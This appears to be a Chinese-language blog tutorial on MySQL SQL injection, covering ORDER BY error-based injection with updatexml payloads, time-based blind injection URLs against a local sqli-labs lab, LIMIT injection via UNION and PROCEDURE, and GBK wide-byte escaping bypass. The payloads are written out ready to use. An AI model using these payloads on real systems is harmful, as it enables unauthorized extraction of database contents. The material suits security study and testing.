# order by注入与limit注入,以及宽字节注入order by

order by注入与limit注入,以及宽字节注入order by

order by是mysql中对查询数据进行排序的方法,利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列
正常的order by语句:

select * from users order by id desc;

而有order by注入出我们需要的信息
1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击
2.如果没有回显,可尝试盲注的手法来注入

order by注入(都是有回显)

1.获取当前的数据库的列表:

select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

2.获取数据库的版本号

select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));

3.获取用户

select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.获取数据库个数

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

5.获取数据库列表信息

select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));

6.获取表的名字

select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));

基于时间的盲注(无回显)
如下没有回显可以通过进程时间来判断数据库名的长度(注意我这是自己测试用的是等号,实际上是可以用<来判断的)

http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

以下就是正常的order by通过sleep进行判断的

order by if(1=1,1,sleep(1))
select * from hehe order by if(1=1,1,sleep(1)); #正常时间
select * from hehe order by if(1=2,1,sleep(1)); #有延迟

而且通过substr截取数据字母在用ascii码进行转码通过进程时间来判断

ascii() :
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+

limit【此方法适用于<=MySQL 5.5中,在limit语句后面的注入 】

1、limit的使用语法

LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1。

没有order by

执行语句 select id from users limit 0,1; 
这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句 select id from users limit 0,1 union select username from users;

存在 order by

此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入,使用 PROCEDURE函数进行注入,ANALYSE支持两个参数。

宽字节注入

定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’,无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
GBK编码,是对GB2312编码的扩展,用于存储汉字。GBK编码采用双字节编码方案,其编码范围:8140- FEFE
宽字节注入的产生是字符集不一致造成的,如:前端使用UTF-8编码,数据库使用GBK编码,在进行解码时,数据库将两位的UTF-8编码读取成一位GBK编码,从而绕过服务器的转义函数,进行的sql注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值